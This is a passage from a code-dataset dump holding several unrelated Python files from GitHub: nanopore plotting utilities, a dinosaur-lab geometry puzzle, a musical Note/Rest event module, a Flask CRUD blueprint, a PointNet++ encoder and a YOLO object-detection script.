return_strings:\n        return pileup_matrix, reference_matrix, alignments[0], ref_alignment[0]\n    else:\n        return pileup_matrix, reference_matrix\n\n\ndef normalize_confusion_matrix(confusion_matrix):\n    sums = numpy.sum(confusion_matrix, axis=0)  # truth axis (as opposed to predict axis)\n\n    confusion_matrix = confusion_matrix/sums\n\n    return confusion_matrix\n\n\ndef label_pileup_encoding_plot(matrix, axis):\n    consensus_caller = ConsensusCaller(sequence_to_index=sequence_to_index, sequence_to_float=sequence_to_float)\n\n    for i in range(matrix.shape[0]):\n        for j in range(matrix.shape[1]):\n            index = numpy.round(matrix[i,j]).astype(numpy.uint8)\n\n            # if value == 0:\n            #     index = 0\n            # else:\n            #     index = consensus_caller.float_to_index[value]\n\n            character = consensus_caller.index_to_sequence[index]\n\n            axis.text(j,i,character, ha=\"center\", va=\"center\", fontsize=6)\n\n\ndef label_repeat_encoding_plot(matrix, axis):\n    consensus_caller = ConsensusCaller(sequence_to_index=sequence_to_index, sequence_to_float=sequence_to_float)\n\n    for i in range(matrix.shape[0]):\n        for j in range(matrix.shape[1]):\n            value = matrix[i,j]\n\n            axis.text(j,i,str(int(value)), ha=\"center\", va=\"center\", fontsize=6)\n\n\ndef plot_runlength_prediction_vs_truth(x_pileup, x_repeat, y_pileup, y_repeat, y_pileup_predict, y_repeat_predict, show_plot=True, save_path=None, title=\"\", squeeze=False):\n    if type(x_pileup) == torch.Tensor:\n        x_pileup = x_pileup.data.numpy()\n\n    if type(x_repeat) == torch.Tensor:\n        x_repeat = x_repeat.data.numpy()\n\n    if type(y_pileup) == torch.Tensor:\n        y_pileup = y_pileup.data.numpy()\n\n    if type(y_repeat) == torch.Tensor:\n        y_repeat = y_repeat.data.numpy()\n\n    if type(y_pileup_predict) == torch.Tensor:\n        y_pileup_predict = y_pileup_predict.data.numpy()\n\n    if type(y_repeat_predict) == torch.Tensor:\n        y_repeat_predict = y_repeat_predict.data.numpy()\n\n    # x_pileup = x_pileup[:, :]\n    # x_repeat = x_repeat[:, :]\n\n    if squeeze:\n        x_pileup .squeeze()\n        x_repeat .squeeze()\n\n    print()\n    print(\"x_pileup\", x_pileup.shape)\n    print(\"y_pileup\", y_pileup.shape)\n    print(\"y_pileup_predict\", y_pileup_predict.shape)\n    print(\"x_repeat\", x_repeat.shape)\n    print(\"y_repeat\", y_repeat.shape)\n    print(\"y_repeat_predict\", y_repeat_predict.shape)\n\n    y_pileup_ratio = y_pileup.shape[-2]\n    y_pileup_predict_ratio = y_pileup_predict.shape[-2]/y_pileup.shape[-2]\n    x_pileup_ratio = x_pileup.shape[-2]/y_pileup.shape[-2]\n    x_repeat_ratio = x_repeat.shape[-2]/y_pileup.shape[-2]\n    y_repeat_predict_ratio = y_repeat_predict.shape[-2]/y_pileup.shape[-2]\n    y_repeat_ratio = y_repeat.shape[-2]/y_pileup.shape[-2]\n\n    height_ratios = [y_pileup_ratio, y_pileup_predict_ratio, x_pileup_ratio, y_repeat_ratio, y_repeat_predict_ratio, x_repeat_ratio]\n\n    print(height_ratios)\n\n    fig, axes = pyplot.subplots(nrows=6, gridspec_kw={'height_ratios': height_ratios})\n\n    label_pileup_encoding_plot(matrix=y_pileup, axis=axes[0])\n    label_pileup_encoding_plot(matrix=y_pileup_predict, axis=axes[1])\n    label_pileup_encoding_plot(matrix=x_pileup, axis=axes[2])\n    label_repeat_encoding_plot(matrix=y_repeat, axis=axes[3])\n    label_repeat_encoding_plot(matrix=y_repeat_predict, axis=axes[4])\n    label_repeat_encoding_plot(matrix=x_repeat, axis=axes[5])\n\n    red = numpy.array([255,19,0])/255\n    yellow = numpy.array([255,230,10])/255\n    blue = numpy.array([1,100,209])/255\n    green = numpy.array([0,255,40])/255\n\n    cmap = matplotlib.colors.LinearSegmentedColormap.from_list(\"\", [\"black\", blue, green, yellow, red])\n\n    axes[0].imshow(y_pileup, cmap=cmap, vmin=0, vmax=4)\n    axes[1].imshow(y_pileup_predict, cmap=cmap, vmin=0, vmax=4)\n    axes[2].imshow(x_pileup, cmap=cmap, vmin=0, vmax=4)\n\n    max_repeat = numpy.max(x_repeat)\n    axes[3].imshow(y_repeat, vmin=0, vmax=max_repeat)\n    axes[4].imshow(y_repeat_predict, vmin=0, vmax=max_repeat)\n    axes[5].imshow(x_repeat, vmin=0, vmax=max_repeat)\n\n    axes[0].set_ylabel(\"y\")\n    axes[1].set_ylabel(\"y*\")\n    axes[2].set_ylabel(\"x sequence\")\n    axes[3].set_ylabel(\"y\")\n    axes[4].set_ylabel(\"y*\")\n    axes[5].set_ylabel(\"x repeats\")\n\n    axes[0].tick_params(\n        bottom=False,  # ticks along the bottom edge are off\n        left=False,  # ticks along the top edge are off\n        labelleft=False)  # labels along the bottom edge are off\n\n    axes[1].tick_params(\n        bottom=False,  # ticks along the bottom edge are off\n        left=False,  # ticks along the top edge are off\n        labelleft=False)  # labels along the bottom edge are off\n\n    axes[3].tick_params(\n        bottom=False,  # ticks along the bottom edge are off\n        left=False,  # ticks along the top edge are off\n        labelleft=False)  # labels along the bottom edge are off\n\n    axes[4].tick_params(\n        bottom=False,  # ticks along the bottom edge are off\n        left=False,  # ticks along the top edge are off\n        labelleft=False)  # labels along the bottom edge are off\n\n    axes[0].set_title(title)\n\n    if not save_path is None:\n        pyplot.savefig(save_path)\n    else:\n        pyplot.show()\n\n    pyplot.close()\n\n    return axes, height_ratios\n\n\ndef plot_runlength_prediction(x_pileup, x_repeat, y_pileup, y_repeat, show_plot=True, save_path=None, title=\"\", squeeze=False):\n    if type(x_pileup) == torch.Tensor:\n        x_pileup = x_pileup.data.numpy()\n\n    if type(x_repeat) == torch.Tensor:\n        x_repeat = x_repeat.data.numpy()\n\n    if type(y_pileup) == torch.Tensor:\n        y_pileup = y_pileup.data.numpy()\n\n    if type(y_repeat) == torch.Tensor:\n        y_repeat = y_repeat.data.numpy()\n\n    # x_pileup = x_pileup[:, :]\n    # x_repeat = x_repeat[:, :]\n\n    if squeeze:\n        x_pileup .squeeze()\n        x_repeat .squeeze()\n\n    print()\n    print(x_pileup.shape)\n    print(y_pileup.shape)\n    print(x_repeat.shape)\n    print(y_repeat.shape)\n\n    x_pileup_ratio = x_pileup.shape[-2]/y_pileup.shape[-2]\n    y_pileup_ratio = 1\n    x_repeat_ratio = x_repeat.shape[-2]/y_pileup.shape[-2]\n    y_repeat_ratio = y_repeat.shape[-2]/y_pileup.shape[-2]\n\n    height_ratios = [y_pileup_ratio, x_pileup_ratio, y_repeat_ratio, x_repeat_ratio]\n\n    fig, axes = pyplot.subplots(nrows=4, gridspec_kw={'height_ratios': height_ratios})\n\n    label_pileup_encoding_plot(matrix=y_pileup, axis=axes[0])\n    label_pileup_encoding_plot(matrix=x_pileup, axis=axes[1])\n    label_repeat_encoding_plot(matrix=y_repeat, axis=axes[2])\n    label_repeat_encoding_plot(matrix=x_repeat, axis=axes[3])\n\n    axes[0].imshow(y_pileup)\n    axes[1].imshow(x_pileup)\n    axes[2].imshow(y_repeat)\n    axes[3].imshow(x_repeat)\n\n    axes[0].set_ylabel(\"y*\")\n    axes[1].set_ylabel(\"x sequence\")\n    axes[2].set_ylabel(\"y*\")\n    axes[3].set_ylabel(\"x repeats\")\n\n    axes[0].set_title(title)\n\n    if not save_path is None:\n        pyplot.savefig(save_path)\n    else:\n        pyplot.show()\n\n    pyplot.close()\n\n    return axes, height_ratios\n\n\ndef plot_prediction(x, y, y_predict, save_path=None, title=\"\", squeeze=False):\n    if type(x) == torch.Tensor:\n        x = x.data.numpy()\n\n    if type(y) == torch.Tensor:\n        y = y.data.numpy()\n\n    if type(y_predict) == torch.Tensor:\n        y_predict = y_predict.data.numpy()\n\n    if squeeze:\n        x_data = x[:,:].squeeze()\n        y_target_data = y[:,:].squeeze()\n        y_predict_data = y_predict[:,:].squeeze()\n    else:\n        x_data = x\n        y_target_data = y\n        y_predict_data = y_predict\n\n    x_ratio = x.shape[-2]/y_predict.shape[-2]\n    y_ratio = y.shape[-2]/y_predict.shape[-2]\n\n    fig, axes = pyplot.subplots(nrows=3, gridspec_kw={'height_ratios': [1, y_ratio, x_ratio]})\n\n    axes[2].imshow(x_data)\n    axes[1].imshow(y_target_data)\n    axes[0].imshow(y_predict_data)\n\n    axes[2].set_ylabel(\"x\")\n    axes[1].set_ylabel(\"y\")\n    axes[0].set_ylabel(\"y*\")\n\n    axes[0].set_title(title)\n\n    if save_path is not None:\n        pyplot.savefig(save_path)\n        pyplot.close()\n    else:\n        pyplot.show()\n        pyplot.close()\n\n\ndef plot_consensus_prediction(x, y, y_predict, save_path=None, title=\"\"):\n    ratio = x.shape[0]/y.shape[0]\n    fig, axes = pyplot.subplots(nrows=3, gridspec_kw={'height_ratios': [1, 1, ratio]})\n\n    x_data = x.squeeze()\n    y_target_data = y.squeeze()\n    y_predict_data = y_predict.squeeze()\n\n    axes[2].imshow(x_data)\n    axes[1].imshow(y_target_data)\n    axes[0].imshow(y_predict_data)\n\n    axes[2].set_ylabel(\"x\")\n    axes[1].set_ylabel(\"y\")\n    axes[0].set_ylabel(\"y*\")\n\n    axes[0].set_title(title)\n\n    if save_path is not None:\n        pyplot.savefig(save_path)\n    else:\n        pyplot.show()\n        pyplot.close()\n\n\ndef plot_binary_confusion(confusion_matrix):\n    x,y = confusion_matrix.shape\n\n    axes = pyplot.axes()\n    axes.set_ylabel(\"True class\")\n    axes.set_xlabel(\"Predicted class\")\n\n    axes.set_xticks([0,1])\n    axes.set_yticks([0,1])\n\n    axes.set_xticklabels([\"Gap\",\"Not Gap\"])\n    axes.set_yticklabels([\"Gap\",\"Not Gap\"])\n\n    for i in range(x):\n        for j in range(y):\n            confusion = confusion_matrix[i,j]\n            pyplot.text(j, i, \"%.0f\"%confusion, va=\"center\", ha=\"center\")\n\n    pyplot.imshow(confusion_matrix, cmap=\"viridis\")\n    pyplot.show()\n\n\ndef plot_confusion(confusion_matrix):\n    x,y = confusion_matrix.shape\n\n    axes = pyplot.axes()\n    axes.set_ylabel(\"True class\")\n    axes.set_xlabel(\"Predicted class\")\n\n    axes.set_xticklabels([\"\",\"-\",\"A\",\"G\",\"T\",\"C\"])\n    axes.set_yticklabels([\"\",\"-\",\"A\",\"G\",\"T\",\"C\"])\n\n    for i in range(x):\n        for j in range(y):\n            confusion = confusion_matrix[i,j]\n            pyplot.text(j, i, \"%.0f\"%confusion, va=\"center\", ha=\"center\")\n\n    pyplot.imshow(confusion_matrix, cmap=\"viridis\")\n    pyplot.show()\n\n    return confusion_matrix\n\n\ndef plot_repeat_confusion(total_repeat_confusion):\n    axes = pyplot.axes()\n    axes.set_ylabel(\"True run length\")\n    axes.set_xlabel(\"Predicted run length\")\n\n    x,y = zip(*total_repeat_confusion)\n\n    n = max(x) + 1\n    m = max(y) + 1\n\n    print(n, m)\n\n    confusion_matrix = numpy.zeros([n,m])\n\n    for x,y in total_repeat_confusion:\n        x = abs(x)\n        y = abs(y)\n        confusion_matrix[x,y] += 1\n\n    normalized_confusion_matrix = normalize_confusion_matrix(confusion_matrix)\n\n    pyplot.imshow(normalized_confusion_matrix, cmap=\"viridis\")\n    pyplot.show()\n\n    return confusion_matrix\n","repo_name":"rlorigro/nanopore_assembly","sub_path":"modules/train_test_utils.py","file_name":"train_test_utils.py","file_ext":"py","file_size_in_byte":12725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72486905362","text":"# Dailyprogrammer challenge at https://goo.gl/KXz5e5\nimport queue\n\ndef touch(p1, p2, r):\n    \"\"\"\n    return true if circles of radius r centered on p1, p2, intersect\n    \"\"\"\n    p1orig = p1\n    p2orig = p2\n    tmp = None\n    if None in p2:\n        if None in p1:\n            return False\n        tmp = p1\n        p1 = p2\n        p2 = tmp\n\n    R = r\n\n    if p1[0] == None:\n        p1 = (p2[0], p1[1])\n    elif p1[1] == None:\n        p1 = (p1[0], p2[1])\n    else:\n        R = 2 * r\n\n    toRet = (p1[0] - p2[0])**2 + (p1[1] - p2[1])**2 <= R**2\n    return toRet\n\ndef neighbors(pointlist, pos, width, length, r):\n    \"\"\"\n    Given a list of points, a position, lab dimensions, and radius r,\n    find a list of neighbors within 2r distance of the specified point\n    \"\"\"\n    nlist = []\n\n    for other in pointlist:\n        if touch(pos, other, r) and other != pos:\n            nlist.append(other)\n\n    return nlist\n\ndef contract(graph, radius):\n    \"\"\"\n    Given a graph where neighbors can be > 2r apart, return a\n    new graph where they are <= 2r apare\n    \"\"\"\n    updated = {}\n    for n in graph:\n        updated[n] = [x for x in graph[n] if touch(n, x, radius)]\n\n    return updated\n\n\ndef pathexists(startnodes, goalnodes, graph):\n    \"\"\"\n    Check if a path exists between nodes 1 and 2 given a graph\n    Graph should be in adjacency list form\n    \"\"\"\n    connected = set(startnodes)\n    q = queue.Queue()\n    for c in connected:\n        [q.put(n) for n in graph[c]]\n\n    while not q.empty():\n        curr = q.get()\n        connected.add(curr)\n        for n in graph[curr]:\n            if n in goalnodes:\n                return True\n            if n not in connected:\n                q.put(n)\n\n    return False\n\nif __name__ == \"__main__\":\n\n    PRECISION = .0001\n\n    l = input().split(\" \")\n    numdinos = int(l[0])\n    width = int(l[1])\n    height = int(l[2])\n\n    dinolist = []\n\n    minx, maxx = width, 0\n    miny, maxy = height, 0\n\n    for i in range(numdinos):\n        l = input().split(\" \")\n        coords = tuple((int(c) for c in l))\n        minx = min(minx, coords[0])\n        maxx = max(maxx, coords[0])\n        miny = min(miny, coords[1])\n        maxy = min(maxy, coords[1])\n        dinolist.append(coords)\n\n    dinolist.append((0, None))\n    dinolist.append((width, None))\n    dinolist.append((None, 0))\n    dinolist.append((None, height))\n\n    minradius = min(minx, width - maxx, miny, height - maxy)\n    maxradius = min(height, width)\n\n    maxgraph = {}\n    for d in dinolist:\n        maxgraph[d] = neighbors(dinolist, d, width, height, maxradius)\n\n    while maxradius - minradius > PRECISION:\n        midradius = (minradius + maxradius) / 2\n        midgraph = contract(maxgraph, midradius)\n\n        if pathexists([(0, None), (None, height)], [(None, 0), (width, None)],\n                      midgraph):\n\n            maxradius = midradius\n            maxgraph = midgraph\n        else:\n            minradius = midradius\n\n    print(minradius)\n","repo_name":"anlsh/euler","sub_path":"dinosaurs.py","file_name":"dinosaurs.py","file_ext":"py","file_size_in_byte":2951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43051755940","text":"# coding: latin-1\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom .tools import *\nfrom .fraction import *\nfrom emlib.pitchtools import amp2db\nfrom emlib.iterlib import pairwise\nfrom .envir import logger\nfrom . import typehints as t\nfrom enum import Enum\n\nclass NonMutableError(Exception):\n    pass\n\n\nclass Event(object):\n    def __init__(self, start:t.Number, dur:t.Number):\n        self._start = asR(start)   # type: Fraction\n        self._dur = asR(dur)       # type: Fraction\n        self._mutable = True       # type: bool\n\n    def _check_mutable(self):\n        if not self._mutable:\n            raise NonMutableError(\"Attempted to modify this object!\")\n\n    def freeze(self) -> None:\n        self._mutable = False\n\n    @property\n    def end(self):\n        # type: () -> Fraction\n        return self.start + self.dur\n\n    @end.setter\n    def end(self, newend:t.Number):\n        self._check_mutable()\n        assert newend > self.start\n        self._dur = asR(newend) - self.start\n\n    @property\n    def dur(self) -> Fraction:\n        return self._dur\n\n    @dur.setter\n    def dur(self, dur:t.Number):\n        self._check_mutable()\n        self._dur = asR(dur)\n\n    @property\n    def start(self):\n        return self._start\n\n    @start.setter\n    def start(self, value:t.Number):\n        self._check_mutable()\n        self._start = asR(value)\n\n    @staticmethod\n    def isrest() -> bool:\n        return False\n\n    def clone(self, *args, **keys):\n        raise NotImplementedError()\n\n    def break_at_pulse(self, pulsedur:Fraction, mindur:t.Rat=0) -> List['Event']:\n        pass\n\n\nclass Note(Event):\n    def __init__(self,\n                 pitch: float,\n                 start: t.Number,\n                 dur: t.Opt[t.Number]=None,\n                 amp: float = 1,\n                 bw: float  = 0.,\n                 color: t.Opt[str] = None,\n                 size: float = 0,\n                 tied=False,\n                 articulations: t.Opt[t.List[str]] = None,\n                 transient:float = 0,\n                 end:t.Opt[Number] = None\n                 ) -> None:\n        \"\"\"\n        pitch: the midinumber of this note\n        start: start time\n        dur: the duration of this Note (you can either set the dur or set the end)\n        amp: the amplitude of this note\n        bw: the bandwidth (noisyness)\n        color: ??\n        size: the notated size\n        tied: is this a tied note?\n        articulations: an optional list of arituclations (each articulation is a string)\n        transient: the \"attackness\" of this note\n        end: set either end or dur\n        \"\"\"\n        assert isinstance(pitch, (float, int))\n        start = asR(start)\n        if end is not None:\n            dur = asR(end) - start\n        else:\n            assert dur is not None\n            dur = asR(dur)\n        super().__init__(start, dur)\n        if 0 < pitch < 10:\n            logger.debug(\"Low pitch\")\n        if amp == 0 and pitch > 0:\n            pitch = 0\n            logger.info(f\"warning: pitched note with amp 0 (pitch={pitch}\")\n        if (pitch > 0 and amp == 0) or (pitch == 0 and amp > 0):\n            raise ValueError(f\"Malformed Note: amp={amp} pitch={pitch}\")\n        self._pitch = pitch      # type: float\n        self.amp = amp           # type: float\n        self.start = asR(start)  # type: Fraction\n        self.bw = bw             # type: float\n        self.color = color       # type: str\n        self.size = float(size)  # type: float\n        self.tied = tied         # type: bool\n        self.articulations = articulations if articulations is not None else []  # type: t.List[str]\n        self.transient = transient  # type: float\n        self.dynamic = None      # type: str\n\n    @property\n    def pitch(self):\n        return self._pitch\n\n    @pitch.setter\n    def pitch(self, pitch):\n        self._check_mutable()\n        assert pitch > 0\n        self._pitch = pitch            \n    \n    @property\n    def linearamp(self):\n        return linearamp(self.amp)\n\n    def clone(self, **keys) -> 'Note':\n        \"\"\"\n        Create a new Note with the given keys modified\n        \"\"\"\n        out = Note(self.pitch, self.start, self.dur, self.amp, self.bw,\n                   self.color, size=self.size, tied=self.tied,\n                   articulations=self.articulations, transient=self.transient)\n        out.dynamic = self.dynamic\n        for key, value in keys.items():\n            setattr(out, key, value)\n        assert out.pitch > 0 and out.amp > 0\n        return out\n\n    def add_articulation(self, articulation:str) -> None:\n        assert isinstance(articulation, str) and articulation in _ARTICULATIONS\n        if self.articulations is not None:\n            self.articulations.append(articulation)\n        else:\n            self.articulations = [articulation]\n    \n    def __repr__(self):\n        \"\"\"Note.__repr__\"\"\"\n        if self.articulations and any(self.articulations):\n            artstr = \" art:%s\" % str(self.articulations)\n        else:\n            artstr = \"\"\n        trans = \" %.2f\" % self.transient if self.transient else \"\"\n        tied = \" TIE\" if self.tied else \"\"\n        if self.isrest():\n            pitch = \"REST\"\n        else:\n            if abs(int(self.pitch) - self.pitch) < 0.01:\n                pitch = str(self.pitch).rjust(4)\n            else:\n                pitch = f\"{self.pitch:.2f}\".rjust(4)\n        ampstr = f\" {amp2db(self.amp):.0f}dB\" if not self.isrest() else \"\"\n        color = \" \" + str(self.color) if self.color is not None else \"\"\n        dur = float(self.end - self.start)\n        return f\"<{pitch} {dur:.3f}s {float(self.start):.3f}-{float(self.end):.3f}{ampstr}{tied}{artstr}{trans}{color}>\"\n\n    def break_at_pulse(self, pulsedur:Fraction, mindur:t.Rat=0.0) -> t.List['Note']:\n        if self.dur < mindur:\n            raise ValueError(\"Note too short!\")\n        newnotes = []  # type: t.List[Note]\n        for t0, t1 in break_dur_at_pulses(self.start, self.dur, pulsedur=pulsedur):\n            if t1 - t0 > mindur:\n                cloned = self.clone(start=t0, dur=t1-t0,\n                                    articulations=None, transient=0, tied=True)\n                newnotes.append(cloned)\n        assert newnotes\n        newnotes[0].articulations = self.articulations\n        newnotes[-1].tied = self.tied\n        rendered_events_make_contiguous(newnotes, pulsedur)\n        return newnotes\n\n\nclass Rest(Event):\n    def __init__(self, start:t.Number, dur:t.Number) -> None:\n        super().__init__(start=start, dur=dur)\n\n    @staticmethod\n    def isrest() -> bool:\n        return True\n\n    @property\n    def tied(self) -> bool:\n        return False\n\n    def __repr__(self) -> str:\n        s = \"(REST {start:.3f}-{end:.3f})\".format(\n            start=float(self.start), end=float(self.end))\n        return s\n\n    def break_at_pulse(self, pulsedur:Fraction, mindur:t.Number=0) -> List['Rest']:\n        if self.dur < mindur:\n            raise ValueError(\"Rest too short!\")\n        newrests = []\n        for t0, t1 in break_dur_at_pulses(self.start, self.dur, pulsedur=pulsedur):\n            if t1 - t0 > mindur:\n                newrests.append(Rest(t0, dur=t1-t0))\n        assert newrests\n        rendered_events_make_contiguous(newrests, pulsedur)\n        return newrests\n\n    def clone(self, start:Opt[Fraction]=None, dur:Opt[Fraction]=None,\n              end:Opt[Fraction]=None) -> 'Rest':\n        if dur is not None and end is not None:\n            raise ValueError(\"One one of dur or end can be specified\")\n        start = start if start is not None else self.start\n        if end is not None:\n            dur = asR(end) - start\n        elif dur is None:\n            dur = self.dur\n        dur = dur if dur is not None else self.dur\n        return Rest(start, dur)\n\n\ndef meanpitch(events:List[Event]) -> float:\n    \"\"\"\n    Returns the mean weighted pitch of notes,\n    or 0 if no pitched notes (only rests)\n    \"\"\"\n    if not any(isinstance(e, Note) for e in events):\n        return 0\n    notes = [event for event in events if isinstance(event, Note)]\n    energy = sum(note.linearamp * note.dur for note in notes)\n    if not energy:\n        return sum(note.pitch for note in notes) / len(notes)\n    return sum(note.pitch*note.linearamp*note.dur for note in notes) / energy\n\n\ndef rendered_events_make_contiguous(events:List[Event], pulsedur:Fraction) -> List[Event]:\n    \"\"\"\n    Remove any gaps between rendered events (in place)\n    It does not create new silences, but makes sure that the end of any\n    event is the same as the start of the next event\n\n    **NB**: this function should be called after filling with silences\n            and cutting any overlap\n    \"\"\"\n    if not all(e.dur <= pulsedur for e in events):\n        invalid_events = [ev for ev in events if ev.dur > pulsedur]\n        raise ValueError(f\"This should be called on rendered events: {invalid_events}\")\n    if not all(e1.start - e0.end < pulsedur for e0, e1 in pairwise(events)):\n        raise ValueError(\"The gap between two notes should be less than the pulse dur.\")\n    for e0, e1 in pairwise(events):\n        if e0.end == e1.start:\n            # no gap, OK\n            continue\n        time_of_next_pulse = next_pulse(e0.end, pulsedur)\n        if time_of_next_pulse < e1.start:\n            # e0 ends before the pulse and e1 starts after the pulse?\n            logger.debug(f\"make_contiguous: changing end from {e0.end} to {time_of_next_pulse}\")\n            logger.debug(f\"make_contiguous: changin start from {e1.start} to {time_of_next_pulse}\")\n            e0.end = e1.start = time_of_next_pulse\n        else:\n            e0.end = e1.start\n    assert all(e1.start == e0.end for e0, e1 in pairwise(events))\n    return events\n","repo_name":"gesellkammer/sndscribe","sub_path":"sndscribe/note.py","file_name":"note.py","file_ext":"py","file_size_in_byte":9712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17239295966","text":"from flask import jsonify, Blueprint, request\nfrom Controladores.ControladorPartido import ControladorPartido\n\nmiControladorPartido = ControladorPartido()\n\npartido = Blueprint('partido',__name__)\n\n@partido.route(\"/partidos\",methods=['GET'])\ndef getPartidos():\n    try:\n        json=miControladorPartido.index()\n        return jsonify(json)\n    except Exception as ex:\n        return jsonify({'Ha ocurrido el siguiente error':str(ex)}),500\n@partido.route(\"/partidos\",methods=['POST'])\ndef crearPartido():\n    try:\n        data = request.get_json()\n        json=miControladorPartido.create(data)\n        return jsonify(json)\n    except ValueError as val:\n        return jsonify({'Petición fallida':str(val)}),400\n    except Exception as ex:\n        return jsonify({'Ha ocurrido el siguiente error':str(ex)}),500\n@partido.route(\"/partidos/<string:id>\",methods=['GET'])\ndef getPartido(id):\n    json=miControladorPartido.show(id)\n    return jsonify(json)\n@partido.route(\"/partidos/<string:id>\",methods=['PUT'])\ndef modificarPartido(id):\n    try:\n        data = request.get_json()\n        json=miControladorPartido.update(id,data)\n        return jsonify(json)\n    except ValueError as val:\n        return jsonify({'Petición fallida':str(val)}),400\n    except Exception as ex:\n        return jsonify({'Ha ocurrido el siguiente error':str(ex)}),500\n\n@partido.route(\"/partidos/<string:id>\",methods=['DELETE'])\ndef eliminarPartido(id):\n    try:\n        json=miControladorPartido.delete(id)\n        return jsonify(json)\n    except Exception as ex:\n        return jsonify({'Ha ocurrido el siguiente error':str(ex)}),500","repo_name":"mgvegag10/c4a_g3_e5_backend_mongo","sub_path":"Rutas/Partido.py","file_name":"Partido.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31416228197","text":"import torch.nn as nn\nimport torch.nn.functional as F\n\nfrom models.pointnet2_utils import PointNetSetAbstractionMsg,PointNetFeaturePropagation\n\n\nclass PNT_2(nn.Module):\n    def __init__(self, npoint,df=3):\n        super(PNT_2, self).__init__()\n\n        self.sa1 = PointNetSetAbstractionMsg(int(npoint/8), [0.05, 0.1], [16, 32], df, [[16, 16, 32], [32, 32, 64]])\n        self.sa2 = PointNetSetAbstractionMsg(int(npoint/16), [0.1, 0.2], [16, 32], 32+64, [[64, 64, 128], [64, 96, 128]])\n        # self.sa3 = PointNetSetAbstractionMsg(int(npoint/16), [0.2, 0.4], [16, 32], 128+128, [[128, 196, 256], [128, 196, 256]])\n        # self.sa4 = PointNetSetAbstractionMsg(16, [0.4, 0.8], [16, 32], 256+256, [[256, 256, 512], [256, 384, 512]])\n        # self.fp4 = PointNetFeaturePropagation(512+512+256+256, [256, 256])\n        # self.fp3 = PointNetFeaturePropagation(128+128+256, [256, 256])\n        # self.fp2 = PointNetFeaturePropagation(32+64+256, [256, 128])\n        # self.fp1 = PointNetFeaturePropagation(128, [128, 128, 128])\n        # self.conv1 = nn.Conv1d(128, 128, 1)\n        # self.bn1 = nn.BatchNorm1d(128)\n        # self.drop1 = nn.Dropout(0.5)\n        # self.conv2 = nn.Conv1d(128, num_classes, 1)\n\n    def forward(self, xyz):\n        l0_points = xyz\n        l0_xyz = xyz\n\n        l1_xyz, l1_points = self.sa1(l0_xyz, l0_points)\n\n        # print(\"l1 fea shape: \", l1_points.shape)\n        # print(\"l1_xyz shape: \", l1_xyz.shape)\n\n        l2_xyz, l2_points = self.sa2(l1_xyz, l1_points)\n\n        # print(\"l2 fea shape: \", l2_points.shape)\n        # print(\"l2_xyz shape: \", l2_xyz.shape)\n\n        # l3_xyz, l3_points = self.sa3(l2_xyz, l2_points)\n\n        # print(\"l3 fea shape: \", l3_points.shape)\n        # print(\"l3_xyz shape: \", l3_xyz.shape)\n\n        # l4_xyz, l4_points = self.sa4(l3_xyz, l3_points)\n        \n        # print(\"l4 fea shape: \", l4_points.shape)\n        # print(\"l4_xyz shape: \", l4_xyz.shape)\n\n        # l3_points = self.fp4(l3_xyz, l4_xyz, l3_points, l4_points)\n        # l2_points = self.fp3(l2_xyz, l3_xyz, l2_points, l3_points)\n        # l1_points = self.fp2(l1_xyz, l2_xyz, l1_points, l2_points)\n        # l0_points = self.fp1(l0_xyz, l1_xyz, None, l1_points)\n\n        # x = self.drop1(F.relu(self.bn1(self.conv1(l0_points))))\n        # x = self.conv2(x)\n        # x = F.log_softmax(x, dim=1)\n        # x = x.permute(0, 2, 1)\n\n        return l2_xyz, l2_points\n\n        # return x, l4_points\n\n","repo_name":"yupengchengg147/3d-pcf","sub_path":"models/encoder_pn2.py","file_name":"encoder_pn2.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24967897384","text":"import cv2\nimport numpy as np\n\nmin_confidence = 0.5\n\n# Load Yolo 욜로 모델을 가져올 때 이미 학습이된(weight) 파일을 가져와야함.\nnet = cv2.dnn.readNet(\"yolov3.weights\", \"yolov3.cfg\")\nclasses = []\nwith open(\"coco.names\", \"r\") as f: #파일을 read하고 f에 넣음\n    classes = [line.strip() for line in f.readlines()] #coco.names를 한줄씩 읽으며 claasses에 삽입\nlayer_names = net.getLayerNames()\noutput_layers = [layer_names[i - 1] for i in net.getUnconnectedOutLayers()]\ncolors = np.random.uniform(0, 255, size=(len(classes), 3)) # 물건마다 다른색깔을 부여할 수 있음\n\n# Loading image\nimg = cv2.imread(\"../image/yolo_01.jpg\") #이미지를 불러옴\n#img = cv2.resize(img, None, fx=0.4, fy=0.4) #사이즈 줄이기\nheight, width, channels = img.shape # 이미지 객체에서 넓이 높이 채널을 가져옴.\ncv2.imshow(\"Original Image\", img)\n\n# Detecting objects\nblob = cv2.dnn.blobFromImage(img, 0.00392, (416, 416), (0, 0, 0), True, crop=False)\n\nnet.setInput(blob)\nouts = net.forward(output_layers)\n\n# Showing informations on the screen\nclass_ids = []\nconfidences = []\nboxes = []\n\nfor out in outs:\n    for detection in out:\n        scores = detection[5:]\n        class_id = np.argmax(scores) #score중에 가장 큰 arg를 클래스 아이디에 넣음\n        confidence = scores[class_id]\n        if confidence > min_confidence:\n            # Object detected\n            center_x = int(detection[0] * width)\n            center_y = int(detection[1] * height)\n            w = int(detection[2] * width)\n            h = int(detection[3] * height)\n\n            # Rectangle coordinates\n            x = int(center_x - w / 2)\n            y = int(center_y - h / 2)\n\n            boxes.append([x, y, w, h])\n            confidences.append(float(confidence))\n            class_ids.append(class_id)\n\nindexes = cv2.dnn.NMSBoxes(boxes, confidences, min_confidence, 0.4) #NMSBoxed를 이용해 노이즈(한공간에 박스가 여러개 생기는 것)방지.\nfont = cv2.FONT_HERSHEY_PLAIN\nfor i in range(len(boxes)):\n    if i in indexes:\n        x, y, w, h = boxes[i]\n        label = str(classes[class_ids[i]])\n        print(i, label)\n        color = colors[i]\n        cv2.rectangle(img, (x, y), (x + w, y + h), color, 2)\n        cv2.putText(img, label, (x, y + 30), font, 2, (0, 255, 0), 1)\n\ncv2.imshow(\"YOLO Image\", 